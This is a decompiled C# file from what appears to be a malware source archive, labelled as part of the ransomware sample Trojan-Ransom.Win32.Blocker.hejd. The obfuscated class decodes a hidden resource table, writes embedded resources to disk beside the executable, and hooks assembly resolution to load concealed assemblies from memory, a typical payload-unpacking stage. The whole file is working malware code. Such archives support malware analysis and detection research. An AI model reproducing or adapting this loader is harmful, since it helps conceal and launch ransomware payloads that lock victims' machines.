MalwareSourceCode/MSIL/Trojan-Ransom/Win32/B/Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570/c1f9af90f19d5acdd4845049bcd9444a8.cs

// Decompiled with JetBrains decompiler
// Type: A.c1f9af90f19d5acdd4845049bcd9444a8
// Assembly: Sharl, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F11368F2-49D5-4A01-9284-978C5FDD6F03
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570.exe

using System;
using System.Collections;
using System.IO;
using System.Reflection;

namespace A
{
  internal class c1f9af90f19d5acdd4845049bcd9444a8
  {
    private static readonly Hashtable c7e4f9fe198eee3a882008833d9159fcd = new Hashtable();
    private static readonly Hashtable c117122acd19861812518cbadde59037e = new Hashtable();

    internal static void cfe055d7d0b39490089d150a4a9443779()
    {
      char[] charArray = "".ToCharArray();
      for (int index = 0; index < charArray.Length; ++index)
        charArray[index] = (char) ~(ushort) charArray[index];
      string[] strArray = new string(charArray).Split(new string[1]
      {
        c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(2509)
      }, StringSplitOptions.RemoveEmptyEntries);
      if (strArray != null && strArray.Length >= 0)
      {
        for (int index = 0; index < strArray.Length; index += 2)
        {
          if (strArray[index + 1].StartsWith(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(2514)))
          {
            try
            {
              Assembly executingAssembly = Assembly.GetExecutingAssembly();
              string path = Path.Combine(Path.GetDirectoryName(executingAssembly.Location), strArray[index]);
              if (!File.Exists(path))
              {
                foreach (string manifestResourceName in executingAssembly.GetManifestResourceNames())
                {
                  if (manifestResourceName == strArray[index + 1])
                  {
                    Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(manifestResourceName);
                    byte[] buffer = c723bfb08ed492f620d3f103aea9340c0.c62aa9377688ed67bcfc8a790818c7647(manifestResourceStream);
                    using (FileStream fileStream = new FileStream(path, FileMode.Create, FileAccess.Write))
                      fileStream.Write(buffer, 0, buffer.Length);
                    manifestResourceStream.Close();
                  }
                }
              }
            }
            catch
            {
            }
          }
          else
            c1f9af90f19d5acdd4845049bcd9444a8.c117122acd19861812518cbadde59037e[(object) strArray[index]] = (object) strArray[index + 1];
        }
      }
      AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(c1f9af90f19d5acdd4845049bcd9444a8.c990de96805170250d1fdfc1d6c753706);
    }

    private static Assembly c990de96805170250d1fdfc1d6c753706(
      object c5669828436342a69e25de42ecd6cb771,
      ResolveEventArgs c01306e5de7acf5afd10f9b0df1fe65dd)
    {
      string name = c01306e5de7acf5afd10f9b0df1fe65dd.Name;
      string empty = string.Empty;
      foreach (string key in (IEnumerable) c1f9af90f19d5acdd4845049bcd9444a8.c117122acd19861812518cbadde59037e.Keys)
      {
        if (key.StartsWith(name))
        {
          Assembly assembly = c1f9af90f19d5acdd4845049bcd9444a8.c7e4f9fe198eee3a882008833d9159fcd[(object) key] as Assembly;
          if ((object) assembly != null)
            return assembly;
          empty = c1f9af90f19d5acdd4845049bcd9444a8.c117122acd19861812518cbadde59037e[(object) key] as string;
          break;
        }
      }
      if (empty.Length == 0)
        return (Assembly) null;
      Assembly executingAssembly = Assembly.GetExecutingAssembly();
      foreach (string manifestResourceName1 in executingAssembly.GetManifestResourceNames())
      {
        if (manifestResourceName1 == empty)
        {
          byte[] rawAssembly = c723bfb08ed492f620d3f103aea9340c0.c62aa9377688ed67bcfc8a790818c7647(executingAssembly.GetManifestResourceStream(manifestResourceName1));
          byte[] rawSymbolStore = (byte[]) null;
          try
          {
            string str = empty + c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(2517);
            foreach (string manifestResourceName2 in executingAssembly.GetManifestResourceNames())
            {
              if (manifestResourceName2 == str)
                rawSymbolStore = c723bfb08ed492f620d3f103aea9340c0.c62aa9377688ed67bcfc8a790818c7647(executingAssembly.GetManifestResourceStream(manifestResourceName2));
            }
          }
          catch (Exception ex)
          {
          }
          Assembly assembly;
          if (rawSymbolStore == null)
          {
            assembly = Assembly.Load(rawAssembly);
          }
          else
          {
            try
            {
              assembly = Assembly.Load(rawAssembly, rawSymbolStore);
            }
            catch (Exception ex)
            {
              assembly = Assembly.Load(rawAssembly);
            }
          }
          c1f9af90f19d5acdd4845049bcd9444a8.c7e4f9fe198eee3a882008833d9159fcd[(object) name] = (object) assembly;
          return assembly;
        }
      }
      return (Assembly) null;
    }
  }
}